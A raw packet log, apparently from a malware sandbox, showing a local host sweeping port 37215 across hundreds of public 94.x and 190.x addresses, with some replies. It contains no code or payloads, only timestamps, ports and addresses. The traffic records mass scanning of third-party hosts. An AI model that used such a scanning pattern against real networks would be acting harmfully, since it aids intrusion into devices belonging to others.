Feb 19, 2024 18:36:20.995893955 CET	18052	37215	192.168.2.15	94.95.151.166
Feb 19, 2024 18:36:20.995910883 CET	18052	37215	192.168.2.15	94.228.255.136
Feb 19, 2024 18:36:20.995918989 CET	18052	37215	192.168.2.15	94.109.244.127
Feb 19, 2024 18:36:20.995937109 CET	18052	37215	192.168.2.15	94.89.187.68
Feb 19, 2024 18:36:20.995944023 CET	18052	37215	192.168.2.15	94.153.108.220
Feb 19, 2024 18:36:20.995965004 CET	18052	37215	192.168.2.15	94.249.222.214
Feb 19, 2024 18:36:20.995975971 CET	18052	37215	192.168.2.15	94.149.14.23
Feb 19, 2024 18:36:20.995999098 CET	18052	37215	192.168.2.15	94.173.14.238
Feb 19, 2024 18:36:20.996006966 CET	18052	37215	192.168.2.15	94.54.72.132
Feb 19, 2024 18:36:20.996020079 CET	18052	37215	192.168.2.15	94.175.17.2
Feb 19, 2024 18:36:20.996037006 CET	18052	37215	192.168.2.15	94.19.165.84
Feb 19, 2024 18:36:20.996057987 CET	18052	37215	192.168.2.15	94.111.105.35
Feb 19, 2024 18:36:20.996071100 CET	18052	37215	192.168.2.15	94.88.31.28
Feb 19, 2024 18:36:20.996088028 CET	18052	37215	192.168.2.15	94.43.217.144
Feb 19, 2024 18:36:20.996104002 CET	18052	37215	192.168.2.15	94.151.253.248
Feb 19, 2024 18:36:20.996124029 CET	18052	37215	192.168.2.15	94.91.236.67
Feb 19, 2024 18:36:20.996133089 CET	18052	37215	192.168.2.15	94.232.219.68
Feb 19, 2024 18:36:20.996143103 CET	18052	37215	192.168.2.15	94.190.212.203
Feb 19, 2024 18:36:20.996155977 CET	18052	37215	192.168.2.15	94.235.91.121
Feb 19, 2024 18:36:20.996175051 CET	18052	37215	192.168.2.15	94.56.20.211
Feb 19, 2024 18:36:20.996187925 CET	18052	37215	192.168.2.15	94.11.241.117
Feb 19, 2024 18:36:20.996203899 CET	18052	37215	192.168.2.15	94.43.169.97
Feb 19, 2024 18:36:20.996212959 CET	18052	37215	192.168.2.15	94.218.81.220
Feb 19, 2024 18:36:20.996229887 CET	18052	37215	192.168.2.15	94.24.128.164
Feb 19, 2024 18:36:20.996246099 CET	18052	37215	192.168.2.15	94.135.61.249
Feb 19, 2024 18:36:20.996260881 CET	18052	37215	192.168.2.15	94.243.31.44
Feb 19, 2024 18:36:20.996269941 CET	18052	37215	192.168.2.15	94.23.113.203
Feb 19, 2024 18:36:20.996289968 CET	18052	37215	192.168.2.15	94.246.91.123
Feb 19, 2024 18:36:20.996306896 CET	18052	37215	192.168.2.15	94.198.144.219
Feb 19, 2024 18:36:20.996320009 CET	18052	37215	192.168.2.15	94.107.59.182
Feb 19, 2024 18:36:20.996331930 CET	18052	37215	192.168.2.15	94.193.140.143
Feb 19, 2024 18:36:20.996351957 CET	18052	37215	192.168.2.15	94.151.98.126
Feb 19, 2024 18:36:20.996365070 CET	18052	37215	192.168.2.15	94.176.205.193
Feb 19, 2024 18:36:20.996375084 CET	18052	37215	192.168.2.15	94.205.14.203
Feb 19, 2024 18:36:20.996393919 CET	18052	37215	192.168.2.15	94.127.102.124
Feb 19, 2024 18:36:20.996404886 CET	18052	37215	192.168.2.15	94.123.115.190
Feb 19, 2024 18:36:20.996418953 CET	18052	37215	192.168.2.15	94.109.204.45
Feb 19, 2024 18:36:20.996429920 CET	18052	37215	192.168.2.15	94.191.106.122
Feb 19, 2024 18:36:20.996448040 CET	18052	37215	192.168.2.15	94.14.82.175
Feb 19, 2024 18:36:20.996462107 CET	18052	37215	192.168.2.15	94.186.211.246
Feb 19, 2024 18:36:20.996473074 CET	18052	37215	192.168.2.15	94.196.203.209
Feb 19, 2024 18:36:20.996490002 CET	18052	37215	192.168.2.15	94.120.4.17
Feb 19, 2024 18:36:20.996500969 CET	18052	37215	192.168.2.15	94.74.65.252
Feb 19, 2024 18:36:20.996520042 CET	18052	37215	192.168.2.15	94.181.176.255
Feb 19, 2024 18:36:20.996531010 CET	18052	37215	192.168.2.15	94.216.55.127
Feb 19, 2024 18:36:20.996548891 CET	18052	37215	192.168.2.15	94.50.40.240
Feb 19, 2024 18:36:20.996562004 CET	18052	37215	192.168.2.15	94.103.144.22
Feb 19, 2024 18:36:20.996577978 CET	18052	37215	192.168.2.15	94.189.186.97
Feb 19, 2024 18:36:20.996598005 CET	18052	37215	192.168.2.15	94.109.213.23
Feb 19, 2024 18:36:20.996608019 CET	18052	37215	192.168.2.15	94.86.160.224
Feb 19, 2024 18:36:20.996623993 CET	18052	37215	192.168.2.15	94.144.95.142
Feb 19, 2024 18:36:20.996640921 CET	18052	37215	192.168.2.15	94.60.83.47
Feb 19, 2024 18:36:20.996656895 CET	18052	37215	192.168.2.15	94.70.81.169
Feb 19, 2024 18:36:20.996675014 CET	18052	37215	192.168.2.15	94.11.236.206
Feb 19, 2024 18:36:20.996680975 CET	18052	37215	192.168.2.15	94.8.126.244
Feb 19, 2024 18:36:20.996694088 CET	18052	37215	192.168.2.15	94.128.224.108
Feb 19, 2024 18:36:20.996706963 CET	18052	37215	192.168.2.15	94.30.189.92
Feb 19, 2024 18:36:20.996730089 CET	18052	37215	192.168.2.15	94.6.230.26
Feb 19, 2024 18:36:20.996738911 CET	18052	37215	192.168.2.15	94.49.33.219
Feb 19, 2024 18:36:20.996752977 CET	18052	37215	192.168.2.15	94.209.116.232
Feb 19, 2024 18:36:20.996767998 CET	18052	37215	192.168.2.15	94.134.68.172
Feb 19, 2024 18:36:20.996783018 CET	18052	37215	192.168.2.15	94.84.246.108
Feb 19, 2024 18:36:20.996798992 CET	18052	37215	192.168.2.15	94.185.60.124
Feb 19, 2024 18:36:20.996823072 CET	18052	37215	192.168.2.15	94.187.221.190
Feb 19, 2024 18:36:20.996835947 CET	18052	37215	192.168.2.15	94.23.238.227
Feb 19, 2024 18:36:20.996848106 CET	18052	37215	192.168.2.15	94.27.10.108
Feb 19, 2024 18:36:20.996866941 CET	18052	37215	192.168.2.15	94.109.3.149
Feb 19, 2024 18:36:20.996884108 CET	18052	37215	192.168.2.15	94.231.185.71
Feb 19, 2024 18:36:20.996896029 CET	18052	37215	192.168.2.15	94.16.11.253
Feb 19, 2024 18:36:20.996912003 CET	18052	37215	192.168.2.15	94.168.220.132
Feb 19, 2024 18:36:20.996922016 CET	18052	37215	192.168.2.15	94.166.223.1
Feb 19, 2024 18:36:20.996937990 CET	18052	37215	192.168.2.15	94.39.174.234
Feb 19, 2024 18:36:20.996948957 CET	18052	37215	192.168.2.15	94.149.109.33
Feb 19, 2024 18:36:20.996965885 CET	18052	37215	192.168.2.15	94.82.182.138
Feb 19, 2024 18:36:20.996984959 CET	18052	37215	192.168.2.15	94.240.147.210
Feb 19, 2024 18:36:20.996989012 CET	18052	37215	192.168.2.15	94.84.48.63
Feb 19, 2024 18:36:20.997009993 CET	18052	37215	192.168.2.15	94.29.44.17
Feb 19, 2024 18:36:20.997028112 CET	18052	37215	192.168.2.15	94.96.28.222
Feb 19, 2024 18:36:20.997045040 CET	18052	37215	192.168.2.15	94.104.123.112
Feb 19, 2024 18:36:20.997055054 CET	18052	37215	192.168.2.15	94.69.4.167
Feb 19, 2024 18:36:20.997072935 CET	18052	37215	192.168.2.15	94.253.167.75
Feb 19, 2024 18:36:20.997087955 CET	18052	37215	192.168.2.15	94.247.137.118
Feb 19, 2024 18:36:20.997109890 CET	18052	37215	192.168.2.15	94.6.75.113
Feb 19, 2024 18:36:20.997119904 CET	18052	37215	192.168.2.15	94.67.21.139
Feb 19, 2024 18:36:20.997138977 CET	18052	37215	192.168.2.15	94.192.213.50
Feb 19, 2024 18:36:20.997159004 CET	18052	37215	192.168.2.15	94.57.39.66
Feb 19, 2024 18:36:20.997175932 CET	18052	37215	192.168.2.15	94.73.252.227
Feb 19, 2024 18:36:20.997195959 CET	18052	37215	192.168.2.15	94.6.66.135
Feb 19, 2024 18:36:20.997208118 CET	18052	37215	192.168.2.15	94.53.78.72
Feb 19, 2024 18:36:20.997220993 CET	18052	37215	192.168.2.15	94.39.138.134
Feb 19, 2024 18:36:20.997237921 CET	18052	37215	192.168.2.15	94.67.114.12
Feb 19, 2024 18:36:20.997260094 CET	18052	37215	192.168.2.15	94.29.90.153
Feb 19, 2024 18:36:20.997273922 CET	18052	37215	192.168.2.15	94.154.110.116
Feb 19, 2024 18:36:20.997288942 CET	18052	37215	192.168.2.15	94.144.87.141
Feb 19, 2024 18:36:20.997308016 CET	18052	37215	192.168.2.15	94.119.188.178
Feb 19, 2024 18:36:20.997319937 CET	18052	37215	192.168.2.15	94.214.111.35
Feb 19, 2024 18:36:20.997338057 CET	18052	37215	192.168.2.15	94.25.54.195
Feb 19, 2024 18:36:20.997353077 CET	18052	37215	192.168.2.15	94.159.61.200
Feb 19, 2024 18:36:20.997368097 CET	18052	37215	192.168.2.15	94.84.91.13
Feb 19, 2024 18:36:20.997383118 CET	18052	37215	192.168.2.15	94.31.207.76
Feb 19, 2024 18:36:20.997405052 CET	18052	37215	192.168.2.15	94.10.216.103
Feb 19, 2024 18:36:20.997416973 CET	18052	37215	192.168.2.15	94.205.171.87
Feb 19, 2024 18:36:20.997432947 CET	18052	37215	192.168.2.15	94.249.63.220
Feb 19, 2024 18:36:20.997450113 CET	18052	37215	192.168.2.15	94.175.50.247
Feb 19, 2024 18:36:20.997464895 CET	18052	37215	192.168.2.15	94.42.237.63
Feb 19, 2024 18:36:20.997482061 CET	18052	37215	192.168.2.15	94.247.182.127
Feb 19, 2024 18:36:20.997503042 CET	18052	37215	192.168.2.15	94.189.202.238
Feb 19, 2024 18:36:20.997519970 CET	18052	37215	192.168.2.15	94.139.55.254
Feb 19, 2024 18:36:20.997536898 CET	18052	37215	192.168.2.15	94.154.215.233
Feb 19, 2024 18:36:20.997554064 CET	18052	37215	192.168.2.15	94.44.215.63
Feb 19, 2024 18:36:20.997570992 CET	18052	37215	192.168.2.15	94.14.214.109
Feb 19, 2024 18:36:20.997585058 CET	18052	37215	192.168.2.15	94.44.207.72
Feb 19, 2024 18:36:20.997603893 CET	18052	37215	192.168.2.15	94.74.72.160
Feb 19, 2024 18:36:20.997617960 CET	18052	37215	192.168.2.15	94.72.228.147
Feb 19, 2024 18:36:20.997636080 CET	18052	37215	192.168.2.15	94.216.162.190
Feb 19, 2024 18:36:20.997657061 CET	18052	37215	192.168.2.15	94.77.194.74
Feb 19, 2024 18:36:20.997672081 CET	18052	37215	192.168.2.15	94.35.6.98
Feb 19, 2024 18:36:20.997684956 CET	18052	37215	192.168.2.15	94.227.212.91
Feb 19, 2024 18:36:20.997700930 CET	18052	37215	192.168.2.15	94.134.255.171
Feb 19, 2024 18:36:20.997714043 CET	18052	37215	192.168.2.15	94.229.123.101
Feb 19, 2024 18:36:20.997734070 CET	18052	37215	192.168.2.15	94.53.221.84
Feb 19, 2024 18:36:20.997750044 CET	18052	37215	192.168.2.15	94.141.182.51
Feb 19, 2024 18:36:20.997767925 CET	18052	37215	192.168.2.15	94.72.244.136
Feb 19, 2024 18:36:20.997782946 CET	18052	37215	192.168.2.15	94.113.84.72
Feb 19, 2024 18:36:20.997807026 CET	18052	37215	192.168.2.15	94.77.87.187
Feb 19, 2024 18:36:20.997821093 CET	18052	37215	192.168.2.15	94.76.144.195
Feb 19, 2024 18:36:20.997843027 CET	18052	37215	192.168.2.15	94.247.224.53
Feb 19, 2024 18:36:20.997855902 CET	18052	37215	192.168.2.15	94.57.2.91
Feb 19, 2024 18:36:20.997879028 CET	18052	37215	192.168.2.15	94.116.40.160
Feb 19, 2024 18:36:20.997899055 CET	18052	37215	192.168.2.15	94.125.237.83
Feb 19, 2024 18:36:20.997912884 CET	18052	37215	192.168.2.15	94.143.205.20
Feb 19, 2024 18:36:20.997921944 CET	18052	37215	192.168.2.15	94.253.128.117
Feb 19, 2024 18:36:20.997941971 CET	18052	37215	192.168.2.15	94.73.195.248
Feb 19, 2024 18:36:20.997956991 CET	18052	37215	192.168.2.15	94.253.227.25
Feb 19, 2024 18:36:20.998016119 CET	18052	37215	192.168.2.15	94.25.43.49
Feb 19, 2024 18:36:20.998034000 CET	18052	37215	192.168.2.15	94.117.211.185
Feb 19, 2024 18:36:20.998049974 CET	18052	37215	192.168.2.15	94.19.151.19
Feb 19, 2024 18:36:20.998073101 CET	18052	37215	192.168.2.15	94.218.123.110
Feb 19, 2024 18:36:20.998084068 CET	18052	37215	192.168.2.15	94.219.101.70
Feb 19, 2024 18:36:20.998099089 CET	18052	37215	192.168.2.15	94.33.41.180
Feb 19, 2024 18:36:20.998116016 CET	18052	37215	192.168.2.15	94.211.139.33
Feb 19, 2024 18:36:20.998157978 CET	18052	37215	192.168.2.15	94.199.177.76
Feb 19, 2024 18:36:20.998183012 CET	18052	37215	192.168.2.15	94.183.152.173
Feb 19, 2024 18:36:20.998193026 CET	18052	37215	192.168.2.15	94.183.169.177
Feb 19, 2024 18:36:20.998209000 CET	18052	37215	192.168.2.15	94.175.8.180
Feb 19, 2024 18:36:20.998230934 CET	18052	37215	192.168.2.15	94.93.94.4
Feb 19, 2024 18:36:20.998245001 CET	18052	37215	192.168.2.15	94.39.91.20
Feb 19, 2024 18:36:20.998255968 CET	18052	37215	192.168.2.15	94.176.234.143
Feb 19, 2024 18:36:20.998274088 CET	18052	37215	192.168.2.15	94.90.204.102
Feb 19, 2024 18:36:20.998296976 CET	18052	37215	192.168.2.15	94.174.222.161
Feb 19, 2024 18:36:20.998310089 CET	18052	37215	192.168.2.15	94.161.197.43
Feb 19, 2024 18:36:20.998332977 CET	18052	37215	192.168.2.15	94.135.199.115
Feb 19, 2024 18:36:20.998343945 CET	18052	37215	192.168.2.15	94.216.4.188
Feb 19, 2024 18:36:20.998358011 CET	18052	37215	192.168.2.15	94.97.88.12
Feb 19, 2024 18:36:20.998377085 CET	18052	37215	192.168.2.15	94.250.145.125
Feb 19, 2024 18:36:20.998389959 CET	18052	37215	192.168.2.15	94.104.106.180
Feb 19, 2024 18:36:20.998409033 CET	18052	37215	192.168.2.15	94.26.223.232
Feb 19, 2024 18:36:20.998429060 CET	18052	37215	192.168.2.15	94.180.134.195
Feb 19, 2024 18:36:20.998437881 CET	18052	37215	192.168.2.15	94.245.31.148
Feb 19, 2024 18:36:20.998462915 CET	18052	37215	192.168.2.15	94.126.104.41
Feb 19, 2024 18:36:20.998475075 CET	18052	37215	192.168.2.15	94.161.243.232
Feb 19, 2024 18:36:20.998488903 CET	18052	37215	192.168.2.15	94.167.91.148
Feb 19, 2024 18:36:20.998507977 CET	18052	37215	192.168.2.15	94.32.90.31
Feb 19, 2024 18:36:20.998522997 CET	18052	37215	192.168.2.15	94.173.24.231
Feb 19, 2024 18:36:20.998537064 CET	18052	37215	192.168.2.15	94.60.110.214
Feb 19, 2024 18:36:20.998554945 CET	18052	37215	192.168.2.15	94.95.208.213
Feb 19, 2024 18:36:20.998570919 CET	18052	37215	192.168.2.15	94.134.224.164
Feb 19, 2024 18:36:20.998590946 CET	18052	37215	192.168.2.15	94.229.92.12
Feb 19, 2024 18:36:20.998600960 CET	18052	37215	192.168.2.15	94.230.141.205
Feb 19, 2024 18:36:20.998615980 CET	18052	37215	192.168.2.15	94.226.191.87
Feb 19, 2024 18:36:20.998635054 CET	18052	37215	192.168.2.15	94.221.180.96
Feb 19, 2024 18:36:20.998648882 CET	18052	37215	192.168.2.15	94.240.143.111
Feb 19, 2024 18:36:20.998672009 CET	18052	37215	192.168.2.15	94.14.85.3
Feb 19, 2024 18:36:20.998684883 CET	18052	37215	192.168.2.15	94.101.232.136
Feb 19, 2024 18:36:20.998701096 CET	18052	37215	192.168.2.15	94.152.43.152
Feb 19, 2024 18:36:20.998718023 CET	18052	37215	192.168.2.15	94.68.124.75
Feb 19, 2024 18:36:20.998728991 CET	18052	37215	192.168.2.15	94.90.131.148
Feb 19, 2024 18:36:20.998753071 CET	18052	37215	192.168.2.15	94.10.181.24
Feb 19, 2024 18:36:20.998766899 CET	18052	37215	192.168.2.15	94.255.105.166
Feb 19, 2024 18:36:20.998778105 CET	18052	37215	192.168.2.15	94.53.46.147
Feb 19, 2024 18:36:20.998792887 CET	18052	37215	192.168.2.15	94.231.183.229
Feb 19, 2024 18:36:20.998810053 CET	18052	37215	192.168.2.15	94.32.166.239
Feb 19, 2024 18:36:20.998828888 CET	18052	37215	192.168.2.15	94.109.15.218
Feb 19, 2024 18:36:20.998842955 CET	18052	37215	192.168.2.15	94.80.248.9
Feb 19, 2024 18:36:20.998864889 CET	18052	37215	192.168.2.15	94.241.27.217
Feb 19, 2024 18:36:20.998878002 CET	18052	37215	192.168.2.15	94.95.31.245
Feb 19, 2024 18:36:20.998893023 CET	18052	37215	192.168.2.15	94.21.35.100
Feb 19, 2024 18:36:20.998907089 CET	18052	37215	192.168.2.15	94.237.62.13
Feb 19, 2024 18:36:20.998923063 CET	18052	37215	192.168.2.15	94.66.243.163
Feb 19, 2024 18:36:20.998941898 CET	18052	37215	192.168.2.15	94.194.145.199
Feb 19, 2024 18:36:20.998956919 CET	18052	37215	192.168.2.15	94.25.73.54
Feb 19, 2024 18:36:20.998975039 CET	18052	37215	192.168.2.15	94.129.24.137
Feb 19, 2024 18:36:20.998985052 CET	18052	37215	192.168.2.15	94.94.171.87
Feb 19, 2024 18:36:20.999006987 CET	18052	37215	192.168.2.15	94.229.118.98
Feb 19, 2024 18:36:20.999020100 CET	18052	37215	192.168.2.15	94.225.98.230
Feb 19, 2024 18:36:20.999038935 CET	18052	37215	192.168.2.15	94.187.125.89
Feb 19, 2024 18:36:20.999053955 CET	18052	37215	192.168.2.15	94.194.87.219
Feb 19, 2024 18:36:20.999073982 CET	18052	37215	192.168.2.15	94.125.199.65
Feb 19, 2024 18:36:20.999088049 CET	18052	37215	192.168.2.15	94.211.196.107
Feb 19, 2024 18:36:20.999104023 CET	18052	37215	192.168.2.15	94.217.41.76
Feb 19, 2024 18:36:20.999123096 CET	18052	37215	192.168.2.15	94.144.218.5
Feb 19, 2024 18:36:20.999141932 CET	18052	37215	192.168.2.15	94.132.122.239
Feb 19, 2024 18:36:20.999159098 CET	18052	37215	192.168.2.15	94.64.92.25
Feb 19, 2024 18:36:20.999171019 CET	18052	37215	192.168.2.15	94.212.207.47
Feb 19, 2024 18:36:20.999190092 CET	18052	37215	192.168.2.15	94.67.215.173
Feb 19, 2024 18:36:20.999205112 CET	18052	37215	192.168.2.15	94.135.35.133
Feb 19, 2024 18:36:20.999218941 CET	18052	37215	192.168.2.15	94.247.179.89
Feb 19, 2024 18:36:20.999237061 CET	18052	37215	192.168.2.15	94.252.35.220
Feb 19, 2024 18:36:20.999259949 CET	18052	37215	192.168.2.15	94.208.68.32
Feb 19, 2024 18:36:20.999273062 CET	18052	37215	192.168.2.15	94.225.42.186
Feb 19, 2024 18:36:20.999294043 CET	18052	37215	192.168.2.15	94.234.79.17
Feb 19, 2024 18:36:20.999310017 CET	18052	37215	192.168.2.15	94.136.11.202
Feb 19, 2024 18:36:20.999327898 CET	18052	37215	192.168.2.15	94.252.238.202
Feb 19, 2024 18:36:20.999346972 CET	18052	37215	192.168.2.15	94.15.202.82
Feb 19, 2024 18:36:20.999356985 CET	18052	37215	192.168.2.15	94.94.145.186
Feb 19, 2024 18:36:20.999375105 CET	18052	37215	192.168.2.15	94.251.236.230
Feb 19, 2024 18:36:20.999396086 CET	18052	37215	192.168.2.15	94.245.173.217
Feb 19, 2024 18:36:20.999412060 CET	18052	37215	192.168.2.15	94.230.150.112
Feb 19, 2024 18:36:20.999429941 CET	18052	37215	192.168.2.15	94.173.173.235
Feb 19, 2024 18:36:20.999447107 CET	18052	37215	192.168.2.15	94.147.121.245
Feb 19, 2024 18:36:20.999718904 CET	37296	37215	192.168.2.15	156.73.131.242
Feb 19, 2024 18:36:20.999803066 CET	49652	37215	192.168.2.15	156.73.224.93
Feb 19, 2024 18:36:20.999842882 CET	49332	37215	192.168.2.15	156.73.117.42
Feb 19, 2024 18:36:21.088490009 CET	37215	18052	94.241.176.238	192.168.2.15
Feb 19, 2024 18:36:21.129173040 CET	37215	18052	94.74.75.175	192.168.2.15
Feb 19, 2024 18:36:21.135965109 CET	37215	18052	94.249.171.197	192.168.2.15
Feb 19, 2024 18:36:21.137026072 CET	37215	18052	94.16.114.210	192.168.2.15
Feb 19, 2024 18:36:21.140597105 CET	37215	18052	94.142.137.49	192.168.2.15
Feb 19, 2024 18:36:21.144264936 CET	37215	18052	94.130.169.82	192.168.2.15
Feb 19, 2024 18:36:21.148160934 CET	37215	18052	94.32.135.14	192.168.2.15
Feb 19, 2024 18:36:21.149063110 CET	37215	18052	94.23.44.248	192.168.2.15
Feb 19, 2024 18:36:21.149857044 CET	37215	18052	94.23.153.16	192.168.2.15
Feb 19, 2024 18:36:21.150154114 CET	37215	18052	94.247.169.129	192.168.2.15
Feb 19, 2024 18:36:21.156641960 CET	37215	18052	94.177.105.144	192.168.2.15
Feb 19, 2024 18:36:21.161322117 CET	37215	18052	94.225.88.33	192.168.2.15
Feb 19, 2024 18:36:21.162365913 CET	37215	18052	94.250.252.124	192.168.2.15
Feb 19, 2024 18:36:21.162719011 CET	37215	18052	94.156.46.151	192.168.2.15
Feb 19, 2024 18:36:21.162730932 CET	37215	18052	94.248.85.221	192.168.2.15
Feb 19, 2024 18:36:21.167504072 CET	37215	18052	94.26.63.20	192.168.2.15
Feb 19, 2024 18:36:21.167968988 CET	37215	18052	94.247.146.50	192.168.2.15
Feb 19, 2024 18:36:21.168422937 CET	37215	18052	94.254.107.153	192.168.2.15
Feb 19, 2024 18:36:21.168437958 CET	37215	18052	94.123.26.224	192.168.2.15
Feb 19, 2024 18:36:21.168615103 CET	18052	37215	192.168.2.15	94.123.26.224
Feb 19, 2024 18:36:21.169933081 CET	37215	18052	94.185.78.207	192.168.2.15
Feb 19, 2024 18:36:21.170746088 CET	37215	18052	94.120.157.90	192.168.2.15
Feb 19, 2024 18:36:21.170800924 CET	18052	37215	192.168.2.15	94.120.157.90
Feb 19, 2024 18:36:21.171000957 CET	37215	18052	94.159.21.209	192.168.2.15
Feb 19, 2024 18:36:21.173964024 CET	37215	18052	94.198.232.76	192.168.2.15
Feb 19, 2024 18:36:21.174403906 CET	37215	18052	94.26.239.207	192.168.2.15
Feb 19, 2024 18:36:21.175303936 CET	37215	18052	94.28.251.241	192.168.2.15
Feb 19, 2024 18:36:21.175879002 CET	37215	18052	94.159.55.5	192.168.2.15
Feb 19, 2024 18:36:21.178652048 CET	37215	18052	94.123.70.165	192.168.2.15
Feb 19, 2024 18:36:21.178708076 CET	18052	37215	192.168.2.15	94.123.70.165
Feb 19, 2024 18:36:21.179639101 CET	37215	18052	94.123.31.62	192.168.2.15
Feb 19, 2024 18:36:21.179707050 CET	18052	37215	192.168.2.15	94.123.31.62
Feb 19, 2024 18:36:21.182455063 CET	37215	18052	94.224.170.5	192.168.2.15
Feb 19, 2024 18:36:21.183001995 CET	37215	18052	94.120.241.149	192.168.2.15
Feb 19, 2024 18:36:21.183049917 CET	18052	37215	192.168.2.15	94.120.241.149
Feb 19, 2024 18:36:21.187269926 CET	37215	18052	94.121.75.18	192.168.2.15
Feb 19, 2024 18:36:21.187319994 CET	18052	37215	192.168.2.15	94.121.75.18
Feb 19, 2024 18:36:21.187506914 CET	37215	18052	94.123.28.213	192.168.2.15
Feb 19, 2024 18:36:21.187520981 CET	37215	18052	94.225.98.230	192.168.2.15
Feb 19, 2024 18:36:21.187566042 CET	18052	37215	192.168.2.15	94.123.28.213
Feb 19, 2024 18:36:21.188524961 CET	37215	18052	94.230.140.161	192.168.2.15
Feb 19, 2024 18:36:21.188621998 CET	37215	18052	94.121.115.61	192.168.2.15
Feb 19, 2024 18:36:21.188667059 CET	18052	37215	192.168.2.15	94.121.115.61
Feb 19, 2024 18:36:21.190521955 CET	37215	18052	94.121.117.124	192.168.2.15
Feb 19, 2024 18:36:21.190541029 CET	37215	18052	94.137.14.119	192.168.2.15
Feb 19, 2024 18:36:21.190602064 CET	18052	37215	192.168.2.15	94.121.117.124
Feb 19, 2024 18:36:21.192187071 CET	37215	18052	94.121.61.67	192.168.2.15
Feb 19, 2024 18:36:21.192241907 CET	18052	37215	192.168.2.15	94.121.61.67
Feb 19, 2024 18:36:21.192502022 CET	37215	18052	94.64.216.33	192.168.2.15
Feb 19, 2024 18:36:21.193972111 CET	37215	18052	94.121.188.41	192.168.2.15
Feb 19, 2024 18:36:21.194020987 CET	18052	37215	192.168.2.15	94.121.188.41
Feb 19, 2024 18:36:21.194021940 CET	37215	18052	94.123.68.80	192.168.2.15
Feb 19, 2024 18:36:21.194067955 CET	18052	37215	192.168.2.15	94.123.68.80
Feb 19, 2024 18:36:21.194293022 CET	37215	18052	94.123.123.8	192.168.2.15
Feb 19, 2024 18:36:21.194331884 CET	18052	37215	192.168.2.15	94.123.123.8
Feb 19, 2024 18:36:21.194849968 CET	37215	18052	94.122.13.243	192.168.2.15
Feb 19, 2024 18:36:21.194896936 CET	18052	37215	192.168.2.15	94.122.13.243
Feb 19, 2024 18:36:21.196526051 CET	37215	18052	94.101.58.233	192.168.2.15
Feb 19, 2024 18:36:21.197669983 CET	37215	18052	94.53.78.72	192.168.2.15
Feb 19, 2024 18:36:21.197798014 CET	37215	18052	94.123.111.123	192.168.2.15
Feb 19, 2024 18:36:21.197850943 CET	18052	37215	192.168.2.15	94.123.111.123
Feb 19, 2024 18:36:21.198432922 CET	37215	18052	94.80.162.55	192.168.2.15
Feb 19, 2024 18:36:21.201487064 CET	37215	18052	94.120.227.12	192.168.2.15
Feb 19, 2024 18:36:21.201539040 CET	18052	37215	192.168.2.15	94.120.227.12
Feb 19, 2024 18:36:21.202277899 CET	37215	18052	94.74.156.155	192.168.2.15
Feb 19, 2024 18:36:21.202296019 CET	37215	18052	94.49.207.48	192.168.2.15
Feb 19, 2024 18:36:21.202789068 CET	37215	18052	94.122.84.186	192.168.2.15
Feb 19, 2024 18:36:21.202836990 CET	18052	37215	192.168.2.15	94.122.84.186
Feb 19, 2024 18:36:21.203212976 CET	37215	18052	94.198.233.188	192.168.2.15
Feb 19, 2024 18:36:21.204411030 CET	37215	18052	94.121.96.158	192.168.2.15
Feb 19, 2024 18:36:21.204457998 CET	18052	37215	192.168.2.15	94.121.96.158
Feb 19, 2024 18:36:21.205285072 CET	37215	18052	94.121.212.153	192.168.2.15
Feb 19, 2024 18:36:21.205359936 CET	18052	37215	192.168.2.15	94.121.212.153
Feb 19, 2024 18:36:21.206988096 CET	37215	18052	94.181.169.184	192.168.2.15
Feb 19, 2024 18:36:21.208657980 CET	37215	18052	94.137.172.255	192.168.2.15
Feb 19, 2024 18:36:21.208687067 CET	37215	18052	94.77.87.187	192.168.2.15
Feb 19, 2024 18:36:21.208863020 CET	37215	18052	94.240.205.235	192.168.2.15
Feb 19, 2024 18:36:21.209423065 CET	37215	18052	94.120.2.253	192.168.2.15
Feb 19, 2024 18:36:21.209471941 CET	18052	37215	192.168.2.15	94.120.2.253
Feb 19, 2024 18:36:21.209688902 CET	37215	18052	94.77.119.69	192.168.2.15
Feb 19, 2024 18:36:21.210892916 CET	37215	18052	94.43.79.119	192.168.2.15
Feb 19, 2024 18:36:21.211220980 CET	37215	18052	94.188.70.217	192.168.2.15
Feb 19, 2024 18:36:21.214792967 CET	37215	18052	94.121.33.253	192.168.2.15
Feb 19, 2024 18:36:21.214847088 CET	18052	37215	192.168.2.15	94.121.33.253
Feb 19, 2024 18:36:21.219511032 CET	37215	18052	94.98.179.70	192.168.2.15
Feb 19, 2024 18:36:21.222091913 CET	37215	18052	94.250.145.125	192.168.2.15
Feb 19, 2024 18:36:21.230495930 CET	37215	18052	94.182.155.147	192.168.2.15
Feb 19, 2024 18:36:21.230710030 CET	37215	18052	94.43.169.97	192.168.2.15
Feb 19, 2024 18:36:21.238384008 CET	37215	18052	94.156.237.89	192.168.2.15
Feb 19, 2024 18:36:21.239141941 CET	37215	18052	94.183.170.114	192.168.2.15
Feb 19, 2024 18:36:21.245707989 CET	37215	18052	94.43.217.144	192.168.2.15
Feb 19, 2024 18:36:21.250758886 CET	37215	18052	94.182.36.214	192.168.2.15
Feb 19, 2024 18:36:21.257397890 CET	37215	18052	94.200.211.220	192.168.2.15
Feb 19, 2024 18:36:21.261795998 CET	37215	18052	94.56.44.131	192.168.2.15
Feb 19, 2024 18:36:21.269725084 CET	37215	18052	94.242.217.4	192.168.2.15
Feb 19, 2024 18:36:21.282723904 CET	37215	18052	94.183.205.132	192.168.2.15
Feb 19, 2024 18:36:21.296005964 CET	37215	18052	94.243.31.44	192.168.2.15
Feb 19, 2024 18:36:21.330223083 CET	37215	18052	94.191.41.241	192.168.2.15
Feb 19, 2024 18:36:21.442051888 CET	37215	18052	94.44.207.72	192.168.2.15
Feb 19, 2024 18:36:22.001245975 CET	18052	37215	192.168.2.15	190.157.243.14
Feb 19, 2024 18:36:22.001245022 CET	18052	37215	192.168.2.15	190.16.120.212
Feb 19, 2024 18:36:22.001250982 CET	18052	37215	192.168.2.15	190.154.224.11
Feb 19, 2024 18:36:22.001250982 CET	18052	37215	192.168.2.15	190.197.69.147
Feb 19, 2024 18:36:22.001250982 CET	18052	37215	192.168.2.15	190.246.19.253
Feb 19, 2024 18:36:22.001250982 CET	18052	37215	192.168.2.15	190.133.12.111
Feb 19, 2024 18:36:22.001254082 CET	18052	37215	192.168.2.15	190.213.198.109
Feb 19, 2024 18:36:22.001281023 CET	18052	37215	192.168.2.15	190.128.121.248
Feb 19, 2024 18:36:22.001291990 CET	18052	37215	192.168.2.15	190.153.42.27
Feb 19, 2024 18:36:22.001290083 CET	18052	37215	192.168.2.15	190.74.193.82
Feb 19, 2024 18:36:22.001292944 CET	18052	37215	192.168.2.15	190.164.188.56
